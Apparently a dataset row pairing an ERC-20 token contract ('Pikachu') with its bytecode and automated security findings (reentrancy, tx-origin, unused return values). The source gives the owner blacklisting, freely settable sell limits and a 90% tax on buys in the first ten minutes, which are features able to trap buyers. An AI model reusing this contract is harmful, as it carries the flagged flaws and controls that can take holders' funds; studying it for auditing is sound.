ffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a0e3fbb0411766dc4e176a18a19d49baa8f46c36b385e96b60d1f802b3308f464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,701 |
0xf6749bbcefdce42c245d5ce7206f408559f0cbb4
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Pikachu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 25000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Pikachu";
string private constant _symbol = unicode"PIKACHU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _pikaFee = 0;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previouspikaFee = _pikaFee;
uint256 private _BuyFee = _pikaFee;
uint256 private _SellFee = _pikaFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _pikaFee == 0) return;
_previousTaxFee = _taxFee;
_previouspikaFee = _pikaFee;
_taxFee = 0;
_pikaFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_pikaFee = _previouspikaFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_pikaFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_pikaFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_pikaFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _pikaFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 PikaFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(PikaFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 25000000 * 10**9; // TX LIMIT
_maxSellAmount = 250000 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (600 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setYugiHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c9567bf911610095578063e47d606011610064578063e47d60601461053a578063e8078d9414610573578063f2cc0c1814610588578063f84354f1146105a857600080fd5b8063c9567bf914610491578063cba0e996146104a6578063db92dbb6146104df578063dd62ed3e146104f457600080fd5b8063a985ceef116100d1578063a985ceef1461041d578063ac94dd061461043c578063af9549e01461045c578063c3c8cd801461047c57600080fd5b80638da5cb5b146103a557806395d89b41146103cd578063a9059cbb146103fd57600080fd5b80634303443d116101645780636fc3eaec1161013e5780636fc3eaec1461033b57806370a0823114610350578063715018a6146103705780637ded4d6a1461038557600080fd5b80634303443d146102db5780635932ead1146102fb57806368a3a6a51461031b57600080fd5b806323b872dd116101a057806323b872dd1461026857806327f3a72a14610288578063313ce5671461029d5780634126f695146102b957600080fd5b806306fdde03146101d2578063095ea7b31461021457806318160ddd1461024457600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600781526650696b6163687560c81b60208201525b60405161020b9190612756565b60405180910390f35b34801561022057600080fd5b5061023461022f3660046126a5565b6105c8565b604051901515815260200161020b565b34801561025057600080fd5b506658d15e176280005b60405190815260200161020b565b34801561027457600080fd5b50610234610283366004612638565b6105df565b34801561029457600080fd5b5061025a610648565b3480156102a957600080fd5b506040516009815260200161020b565b3480156102c557600080fd5b506102d96102d4366004612708565b610658565b005b3480156102e757600080fd5b506102d96102f63660046125c8565b610696565b34801561030757600080fd5b506102d96103163660046126d0565b610808565b34801561032757600080fd5b5061025a6103363660046125c8565b61088d565b34801561034757600080fd5b506102d96108b0565b34801561035c57600080fd5b5061025a61036b3660046125c8565b6108dd565b34801561037c57600080fd5b506102d96108ff565b34801561039157600080fd5b506102d96103a03660046125c8565b610973565b3480156103b157600080fd5b506000546040516001600160a01b03909116815260200161020b565b3480156103d957600080fd5b5060408051808201909152600781526650494b4143485560c81b60208201526101fe565b34801561040957600080fd5b506102346104183660046126a5565b610b59565b34801561042957600080fd5b50601954600160a81b900460ff16610234565b34801561044857600080fd5b506102d96104573660046126d0565b610b66565b34801561046857600080fd5b506102d9610477366004612678565b610bb0565b34801561048857600080fd5b506102d9610c05565b34801561049d57600080fd5b506102d9610c3b565b3480156104b257600080fd5b506102346104c13660046125c8565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104eb57600080fd5b5061025a610c89565b34801561050057600080fd5b5061025a61050f366004612600565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054657600080fd5b506102346105553660046125c8565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561057f57600080fd5b506102d9610ca1565b34801561059457600080fd5b506102d96105a33660046125c8565b611057565b3480156105b457600080fd5b506102d96105c33660046125c8565b611222565b60006105d53384846113e7565b5060015b92915050565b60006105ec84848461150b565b61063e843361063985604051806060016040528060288152602001612911602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906119c6565b6113e7565b5060019392505050565b6000610653306108dd565b905090565b6000546001600160a01b0316331461068b5760405162461bcd60e51b8152600401610682906127a9565b60405180910390fd5b601491909155601555565b6000546001600160a01b031633146106c05760405162461bcd60e51b8152600401610682906127a9565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156107395760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b6064820152608401610682565b6001600160a01b03811660009081526008602052604090205460ff16156107a25760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610682565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b031633146108325760405162461bcd60e51b8152600401610682906127a9565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105d990426128a55